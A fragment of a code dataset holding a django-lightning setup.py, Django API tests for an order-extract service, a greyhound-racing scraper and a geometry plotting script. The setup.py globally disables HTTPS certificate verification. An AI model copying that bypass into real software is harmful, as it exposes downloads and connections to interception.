"django.core.paginator.Paginator", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 27, "usage_type": "call"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 36, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 37, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 40, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 54, "usage_type": "call"}]} +{"seq_id": "230186684", "text": "import os\nfrom setuptools import find_packages, setup\n\nNAME = 'django-lightning'\n\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\nVERSION = '1.0.3'\n\ndef get_install_require_packages():\n \"\"\"获取依赖的安装包\"\"\"\n with open('requirements.in', 'r') as file:\n return [line\n for line in file.readlines() if not line.startswith('http')]\n\n# 可能会导致 Windows 安装有问题\n# with open('README.zh-CN.md', 'r') as file:\n# long_description = file.read()\n\n\ndef get_packages(app):\n \"\"\"获取包\"\"\"\n return [app] + [\n \"{}.{}\".format(app, item) for item in find_packages(app)\n ]\n\nall_packages = []\n[all_packages.extend(item) for item in map(get_packages, [\n 'api_basebone',\n 'bsm_config',\n 'lightning',\n 'shield',\n 'storage',\n])]\n\nimport ssl\n\ntry:\n _create_unverified_https_context = ssl._create_unverified_context\nexcept AttributeError:\n # Legacy Python that doesn't verify HTTPS certificates by default\n pass\nelse:\n # Handle target environment that doesn't support HTTPS verification\n ssl._create_default_https_context = _create_unverified_https_context\n\nsetup(\n name=NAME,\n version=VERSION,\n url='https://github.com/git-men/lightning',\n author='gitmen.com',\n author_email='jeff@gitmen.com',\n description='A Django based no-code Admin and rapid development framework',\n long_description='A Django based no-code Admin and rapid development framework',\n # long_description_content_type='text/markdown',\n license='MIT',\n packages=all_packages,\n include_package_data=True,\n data_files={},\n install_requires=get_install_require_packages(),\n dependency_links = [\n \"git+https://github.com/jeffkit/wechatpy/archive/v.18.13-work.zip\",\n ],\n zip_safe=False,\n classifiers=[\n 'Intended Audience :: Developers',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3 :: Only',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ]\n)\n", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 2163, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "os.chdir", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 6, "usage_type": "call"}, {"api_name": "os.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 6, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 23, "usage_type": "call"}, {"api_name": "ssl._create_unverified_context", "line_number": 38, "usage_type": "attribute"}, {"api_name": "ssl._create_default_https_context", "line_number": 44, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "76052257", "text": "\n\nimport os\nimport time\nfrom django.urls import reverse\nfrom django.core import management\nfrom django.utils import timezone\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.gis.geos import Polygon\nfrom djmoney.money import Money\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\nfrom api.models import OrderType, DataFormat, Pricing, Product, OrderItem, Order\n\nUserModel = get_user_model()\n\n\nclass OrderTests(APITestCase):\n \"\"\"\n Test Extract\n \"\"\"\n\n def setUp(self):\n management.call_command('fixturize')\n self.user_private = UserModel.objects.create_user(\n username=\"private_user_order\",\n password=\"testPa$$word\",\n )\n order_type_private = OrderType.objects.create(\n name=\"Privé\",\n )\n pricing_free = Pricing.objects.create(\n name=\"Gratuit\",\n pricing_type=\"FREE\"\n )\n self.products = Product.objects.bulk_create([\n Product(\n label=\"MO - Cadastre complet (Format A4-A3-A2-A1-A0)\",\n pricing=pricing_free),\n Product(\n label=\"Maquette 3D\",\n pricing=pricing_free),\n ])\n self.order = Order.objects.create(\n title='Test 1734',\n description='Test 1734',\n order_type=order_type_private,\n client=self.user_private,\n geom=Polygon((\n (\n 2528577.8382161376,\n 1193422.4003930448\n ),\n (\n 2542482.6542869355,\n 1193422.4329014618\n ),\n (\n 2542482.568523701,\n 1199018.36469272\n ),\n (\n 2528577.807487005,\n 1199018.324372703\n ),\n (\n 2528577.8382161376,\n 1193422.4003930448\n )\n )),\n date_ordered=timezone.now()\n )\n for product in self.products:\n OrderItem.objects.create(\n order=self.order,\n price_status=OrderItem.PricingStatus.CALCULATED,\n product=product,\n data_format=DataFormat.objects.create(name=\"ZIP\"),\n )\n self.order.confirm()\n self.order.save()\n\n url = reverse('token_obtain_pair')\n resp = self.client.post(\n url, {'username': 'sitn_extract', 'password': os.environ['EXTRACT_USER_PASSWORD']}, format='json')\n self.token = resp.data['access']\n resp = self.client.post(url, {'username':'private_user_order', 'password':'testPa$$word'}, format='json')\n self.client_token = resp.data['access']\n\n\n def test_put_files(self):\n empty_zip_data = b'PK\\x05\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n self.client.credentials(HTTP_AUTHORIZATION='Bearer ' + self.token)\n url = reverse('extract_order')\n response = self.client.get(url, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK, response.content)\n self.assertEqual(response.data[0]['title'], 'Test 1734', 'Check that previous confirmed order is available')\n order_id = response.data[0]['id']\n order_item_id1 = response.data[0]['items'][0]['id']\n order_item_id2 = response.data[0]['items'][1]['id']\n\n response = self.client.get(url, format='json')\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT, response.content)\n\n url = reverse('extract_orderitem', kwargs={'pk': order_item_id1})\n extract_file = SimpleUploadedFile(\"result.zip\", empty_zip_data, content_type=\"multipart/form-data\")\n response = self.client.put(url, {'extract_result': extract_file, 'comment': 'ok'})\n self.assertEqual(response.status_code, status.HTTP_202_ACCEPTED, response.content)\n self.assertEqual(\n Order.objects.get(pk=order_id).status,\n Order.OrderStatus.PARTIALLY_DELIVERED,\n \"Check order status is partially delivered\"\n )\n\n url = reverse('extract_orderitem', kwargs={'pk': order_item_id2})\n extract_file = SimpleUploadedFile(\"result2.zip\", empty_zip_data, content_type=\"multipart/form-data\")\n response = self.client.put(url, {'extract_result': extract_file})\n self.assertEqual(response.status_code, status.HTTP_202_ACCEPTED, response.content)\n\n # Download file by user\n self.client.credentials(HTTP_AUTHORIZATION='Bearer ' + self.client_token)\n url = reverse('order-detail', kwargs={'pk': order_id})\n response = self.client.get(url)\n self.assertEqual(\n response.data['status'], Order.OrderStatus.PROCESSED, 'Check order status is processed')\n url = reverse('orderitem-download-link', kwargs={'pk': order_item_id1})\n response = self.client.get(url)\n self.assertIsNotNone(response.data['download_link'], 'Check file is visible for user')\n\n # check if file has been downloaded\n order_item1 = OrderItem.objects.get(pk=order_item_id1)\n self.assertIsNotNone(order_item1.last_download, 'Check if there\\'s a last_download date')\n\n # check other file has not been downloaded\n order_item2 = OrderItem.objects.get(pk=order_item_id2)\n self.assertIsNone(order_item2.last_download, 'Check if there\\'s not a last_download date')\n\n url = reverse('order-download-link', kwargs={'pk': order_id})\n response = self.client.get(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK, response.content)\n self.assertIsNotNone(response.data['detail'], 'response has detail')\n time.sleep(0.5)\n response = self.client.get(url)\n self.assertIsNotNone(response.data['download_link'], 'Check file is visible for user')\n\n # check if second file has been downloaded\n order_item2 = OrderItem.objects.get(pk=order_item_id2)\n self.assertIsNotNone(order_item2.last_download, 'Check if there\\'s a last_download date')\n\n\n def test_cancel_order_item(self):\n empty_zip_data = b'PK\\x05\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n self.client.credentials(HTTP_AUTHORIZATION='Bearer ' + self.token)\n url = reverse('extract_order')\n response = self.client.get(url, format='json')\n order_item_id1 = response.data[0]['items'][0]['id']\n order_item_id2 = response.data[0]['items'][1]['id']\n url = reverse('extract_orderitem', kwargs={'pk': order_item_id1})\n\n response = self.client.put(url, {'is_rejected': True, 'comment': 'Interdit de commander ces données'})\n self.assertEqual(response.status_code, status.HTTP_202_ACCEPTED, response.content)\n self.assertEqual(\n Order.objects.get(pk=self.order.id).status,\n Order.OrderStatus.IN_EXTRACT,\n \"Check order status is pending\"\n )\n\n url = reverse('extract_orderitem', kwargs={'pk': order_item_id2})\n extract_file = SimpleUploadedFile(\"result3.zip\", empty_zip_data, content_type=\"multipart/form-data\")\n response = self.client.put(url, {'extract_result': extract_file})\n self.assertEqual(response.status_code, status.HTTP_202_ACCEPTED, response.content)\n self.assertEqual(\n Order.objects.get(pk=self.order.id).status,\n Order.OrderStatus.PROCESSED,\n \"Check order status is processed\"\n )\n\n\n def test_reject_order(self):\n self.client.credentials(HTTP_AUTHORIZATION='Bearer ' + self.token)\n url = reverse('extract_order')\n response = self.client.get(url, format='json')\n order_item_id1 = response.data[0]['items'][0]['id']\n order_item_id2 = response.data[0]['items'][1]['id']\n url = reverse('extract_orderitem', kwargs={'pk': order_item_id1})\n\n response = self.client.put(url, {'is_rejected': True, 'comment': 'Interdit de commander ces données'})\n self.assertEqual(response.status_code, status.HTTP_202_ACCEPTED, response.content)\n self.assertEqual(\n Order.objects.get(pk=self.order.id).status,\n Order.OrderStatus.IN_EXTRACT,\n \"Check order status is pending\"\n )\n\n url = reverse('extract_orderitem', kwargs={'pk': order_item_id2})\n response = self.client.put(url, {'is_rejected': True, 'comment': 'Interdit de commander ces données'})\n self.assertEqual(response.status_code, status.HTTP_202_ACCEPTED, response.content)\n self.assertEqual(\n Order.objects.get(pk=self.order.id).status,\n Order.OrderStatus.REJECTED,\n \"Check order status is rejected\"\n )\n", "sub_path": "back/api/tests/test_extract.py", "file_name": "test_extract.py", "file_ext": "py", "file_size_in_byte": 8894, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.contrib.auth.get_user_model", "line_number": 16, "usage_type": "call"}, {"api_name": "rest_framework.test.APITestCase", "line_number": 19, "usage_type": "name"}, {"api_name": "django.core.management.call_command", "line_number": 25, "usage_type": "call"}, {"api_name": "django.core.management", "line_number": 25, "usage_type": "name"}, {"api_name": "api.models.OrderType.objects.create", "line_number": 30, "usage_type": "call"}, {"api_name": "api.models.OrderType.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "api.models.OrderType", "line_number": 30, "usage_type": "name"}, {"api_name": "api.models.Pricing.objects.create", "line_number": 33, "usage_type": "call"}, {"api_name": "api.models.Pricing.objects", "line_number": 33, "usage_type": "attribute"}, {"api_name": "api.models.Pricing", "line_number": 33, "usage_type": "name"}, {"api_name": "api.models.Product.objects.bulk_create", "line_number": 37, "usage_type": "call"}, {"api_name": "api.models.Product.objects", "line_number": 37, "usage_type": "attribute"}, {"api_name": "api.models.Product", "line_number": 37, "usage_type": "name"}, {"api_name": "api.models.Product", "line_number": 38, "usage_type": "call"}, {"api_name": "api.models.Product", "line_number": 41, "usage_type": "call"}, {"api_name": "api.models.Order.objects.create", "line_number": 45, "usage_type": "call"}, {"api_name": "api.models.Order.objects", "line_number": 45, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 45, "usage_type": "name"}, {"api_name": "django.contrib.gis.geos.Polygon", "line_number": 50, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 72, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 72, "usage_type": "name"}, {"api_name": "api.models.OrderItem.objects.create", "line_number": 75, "usage_type": "call"}, {"api_name": "api.models.OrderItem.objects", "line_number": 75, "usage_type": "attribute"}, {"api_name": "api.models.OrderItem", "line_number": 75, "usage_type": "name"}, {"api_name": "api.models.OrderItem.PricingStatus", "line_number": 77, "usage_type": "attribute"}, {"api_name": "api.models.OrderItem", "line_number": 77, "usage_type": "name"}, {"api_name": "api.models.DataFormat.objects.create", "line_number": 79, "usage_type": "call"}, {"api_name": "api.models.DataFormat.objects", "line_number": 79, "usage_type": "attribute"}, {"api_name": "api.models.DataFormat", "line_number": 79, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 84, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 86, "usage_type": "attribute"}, {"api_name": "django.urls.reverse", "line_number": 95, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 97, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 97, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_204_NO_CONTENT", "line_number": 104, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 104, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 106, "usage_type": "call"}, {"api_name": "django.core.files.uploadedfile.SimpleUploadedFile", "line_number": 107, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 109, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 109, "usage_type": "name"}, {"api_name": "api.models.Order.objects.get", "line_number": 111, "usage_type": "call"}, {"api_name": "api.models.Order.objects", "line_number": 111, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 111, "usage_type": "name"}, {"api_name": "api.models.Order.OrderStatus", "line_number": 112, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 112, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 116, "usage_type": "call"}, {"api_name": "django.core.files.uploadedfile.SimpleUploadedFile", "line_number": 117, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 119, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 119, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 123, "usage_type": "call"}, {"api_name": "api.models.Order.OrderStatus", "line_number": 126, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 126, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 127, "usage_type": "call"}, {"api_name": "api.models.OrderItem.objects.get", "line_number": 132, "usage_type": "call"}, {"api_name": "api.models.OrderItem.objects", "line_number": 132, "usage_type": "attribute"}, {"api_name": "api.models.OrderItem", "line_number": 132, "usage_type": "name"}, {"api_name": "api.models.OrderItem.objects.get", "line_number": 136, "usage_type": "call"}, {"api_name": "api.models.OrderItem.objects", "line_number": 136, "usage_type": "attribute"}, {"api_name": "api.models.OrderItem", "line_number": 136, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 139, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 141, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 141, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 143, "usage_type": "call"}, {"api_name": "api.models.OrderItem.objects.get", "line_number": 148, "usage_type": "call"}, {"api_name": "api.models.OrderItem.objects", "line_number": 148, "usage_type": "attribute"}, {"api_name": "api.models.OrderItem", "line_number": 148, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 155, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 159, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 162, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 162, "usage_type": "name"}, {"api_name": "api.models.Order.objects.get", "line_number": 164, "usage_type": "call"}, {"api_name": "api.models.Order.objects", "line_number": 164, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 164, "usage_type": "name"}, {"api_name": "api.models.Order.OrderStatus", "line_number": 165, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 165, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 169, "usage_type": "call"}, {"api_name": "django.core.files.uploadedfile.SimpleUploadedFile", "line_number": 170, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 172, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 172, "usage_type": "name"}, {"api_name": "api.models.Order.objects.get", "line_number": 174, "usage_type": "call"}, {"api_name": "api.models.Order.objects", "line_number": 174, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 174, "usage_type": "name"}, {"api_name": "api.models.Order.OrderStatus", "line_number": 175, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 175, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 182, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 186, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 189, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 189, "usage_type": "name"}, {"api_name": "api.models.Order.objects.get", "line_number": 191, "usage_type": "call"}, {"api_name": "api.models.Order.objects", "line_number": 191, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 191, "usage_type": "name"}, {"api_name": "api.models.Order.OrderStatus", "line_number": 192, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 192, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 196, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 198, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 198, "usage_type": "name"}, {"api_name": "api.models.Order.objects.get", "line_number": 200, "usage_type": "call"}, {"api_name": "api.models.Order.objects", "line_number": 200, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 200, "usage_type": "name"}, {"api_name": "api.models.Order.OrderStatus", "line_number": 201, "usage_type": "attribute"}, {"api_name": "api.models.Order", "line_number": 201, "usage_type": "name"}]} +{"seq_id": "188647927", "text": "# ----------------------------------------------------\n# Races class\n# ----------------------------------------------------\n\nfrom datetime import datetime\nimport re\nimport click\nimport helper as hp \n\nclass Races:\n\n def __init__(self, infos=False, driver=False, t_=False, link=False):\n self.infos = infos \n self.driver = driver \n self.dogs = list()\n\n if t_== \"train\":\n self.url = \"https://greyhoundbet.racingpost.com/\" + link\n self.type_element = \"class\"\n self.element_wait = \"dog-result-details\"\n \n elif t_ == \"predict\":\n self.url = self.infos[\"link\"]\n self.type_element = \"id\"\n self.element_wait = \"cardTab-card\"\n\n click.echo(\"--> Loading the url: %s\" % self.url )\n \n self.card_page = self.driver.get(\n self.url,\n element_wait=self.element_wait,\n type_element=self.type_element\n )\n\n def train_dogs(self):\n # Variables\n # \"https://greyhoundbet.racingpost.com/%s\" %\n self.dogs = list()\n for result in self.card_page.find_all(\"div\", class_=\"container\"):\n place = int(re.sub(\"\\D\", \"\", result.find(\"div\", class_=\"place\").text.replace(\" \", \"\")))\n name = result.find(\"div\", class_=\"name\").text[72:-32]\n link = result.find(\"a\", class_=\"details\").attrs[\"href\"]\n trap = int(result.find(\"div\", class_=\"holder\").find(\"div\").attrs[\"class\"][1].replace(\"trap\", \"\"))\n self.dogs.append({\n \"place\" : place,\n \"dog\" : name,\n \"link\" : link,\n \"trap\" : trap\n })\n return self.dogs\n\n def train_informations(self):\n self.informations = {\n \"track\" : self.card_page.find(\"span\", class_=\"rTitle\").text[:-9],\n \"date\" : datetime.strptime(self.card_page.find(\"span\", class_=\"rTitle\").text[-8:], \"%d/%m/%y\"),\n \"grade\" : re.search(\"\\((.*?)\\)\", self.card_page.find(\"span\", {\"id\":\"circle-race-title\"}).text).group(0).replace(\"(\", \"\").replace(\")\", \"\"),\n \"distance\" : int(re.search(\"\\)(.*?)m\", self.card_page.find(\"span\", {\"id\":\"circle-race-title\"}).text).group(0).replace(\")\", \"\").replace(\" \", \"\").replace(\"m\", \"\"))\n }\n click.echo(\"--> Ready to access (%s, %s, %s, %s) \" % (tuple(self.informations)))\n return self.informations\n\n def future_dogs(self):\n for block in self.card_page.find_all(\"div\", class_=\"runnerBlock\"):\n runner_block = {\n \"link\" : block.find(\"a\").attrs[\"href\"],\n \"trap\" : int(block.find(\"i\").attrs[\"class\"][1].replace(\"trap\", \"\")),\n \"name\" : block.find(\"strong\").text[1:],\n \"comment\" : block.find(\"p\", class_=\"comment\").text,\n \"date\" : datetime.now(),\n }\n self.dogs.append(runner_block)\n return self.dogs\n\n def future_informations(self):\n s = self.card_page.find(\"span\", {\"id\":\"title-circle-container\"}).find(\"span\", class_=\"titleColumn2\").text \n \n return {\n \"name\" : self.card_page.find(\"div\", class_=\"pageHeader\").find(\"h2\").text,\n \"time_label\" : self.infos[\"time_label\"],\n \"grade\" : re.search(\"(.*?) - \", s).group(1),\n \"distance\" : int(re.search(\"- (.*?)m\", s).group(1)),\n \"time\" : self.infos[\"date\"] + \" \" + self.infos[\"time_label\"],\n }\n", "sub_path": "races.py", "file_name": "races.py", "file_ext": "py", "file_size_in_byte": 3531, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "click.echo", "line_number": 27, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 40, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "re.search", "line_number": 56, "usage_type": "call"}, {"api_name": "re.search", "line_number": 57, "usage_type": "call"}, {"api_name": "click.echo", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "name"}, {"api_name": "re.search", "line_number": 80, "usage_type": "call"}, {"api_name": "re.search", "line_number": 81, "usage_type": "call"}]} +{"seq_id": "132841830", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nfrom coeffs import *\n#from circumcentre import ccircle\n#if using termux\n#import subprocess\n#import shlex\n#end if\n\n\nlen = 50\nr1 = 6\nA = np.array([5,3.23]) \nB = np.array([0,0]) \nC = np.array([10,0])\nM = np.array([5,0]) \nD=np.array([5.09,-3.12])\nE = np.array([5,6]) \nF = np.array([5.09,-6]) \n\ntheta = np.linspace(0,2*np.pi,len)\nx_circ1 = np.zeros((2,len))\nx_circ2 = np.zeros((2,len))\n\n\nx_circ1[0,:] = r1*np.cos(theta)\nx_circ1[1,:] = r1*np.sin(theta)\n\n\n\nx_circ1 = (x_circ1.T).T\nx_circ2 = (x_circ2.T).T\n\n#Generating all lines\nx_AB = line_gen(A,B)\nx_BC = line_gen(B,C)\nx_CA = line_gen(C,A)\nx_CD = line_gen(C,D)\nx_BC = line_gen(B,C)\nx_BD = line_gen(B,D)\nx_AM = line_gen(A,M)\nx_MD = line_gen(M,D)\nx_AE = line_gen(A,E)\nx_DF = line_gen(D,F)\nplt.plot(x_circ1[0,:],x_circ1[1,:],label='$circle1$')\n\n\n\n#Plotting all lines\nplt.plot(x_AB[0,:],x_AB[1,:],label='$AB$')\nplt.plot(x_BC[0,:],x_BC[1,:],label='$BC$')\nplt.plot(x_CA[0,:],x_CA[1,:],label='$CA$')\nplt.plot(x_CD[0,:],x_CD[1,:],label='$CD$')\nplt.plot(x_BC[0,:],x_BC[1,:],label='$BC$')\nplt.plot(x_BD[0,:],x_BD[1,:],label='$BD$')\nplt.plot(x_AM[0,:],x_AM[1,:],label='$AM$')\nplt.plot(x_MD[0,:],x_MD[1,:],label='$MD$')\nplt.plot(x_AE[0,:],x_AE[1,:])\nplt.plot(x_DF[0,:],x_DF[1,:])\nplt.plot(A[0], A[1], 'o')\nplt.text(A[0] * (1 + 0.1), A[1] * (1 - 0.1) , 'A')\nplt.plot(B[0], B[1], 'o')\nplt.text(B[0] * (1 - 0.2), B[1] * (1) , 'B')\nplt.plot(C[0], C[1], 'o')\nplt.text(C[0] * (1 + 0.03), C[1] * (1 - 0.1) , 'C')\nplt.plot(D[0], D[1], 'o')\nplt.text(D[0] * (1 + 0.03), D[1] * (1 - 0.1) , 'D')\nplt.plot(M[0], M[1], 'o')\nplt.text(M[0] * (1 + 0.03), M[1] * (1 - 0.1) , 'M')\n\n\nplt.xlabel('$x$')\nplt.ylabel('$y$')\nplt.legend(loc='upper right')\nplt.grid() # minor\nplt.axis('equal')\n\n#if using termux\n#plt.savefig('./figs/circle/circumcircle.pdf')\n#plt.savefig('./figs/circle/circumcircle.eps')\n#subprocess.run(shlex.split(\"termux-open ./figs/circle/circumcircle.pdf\"))\n#else\nplt.show()\n", "sub_path": "codes/circle_constr.py", "file_name": "circle_constr.py", "file_ext": "py", "file_size_in_byte": 1955, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}]} +{"seq_id": "40421641", "text": "from selenium.webdriver import 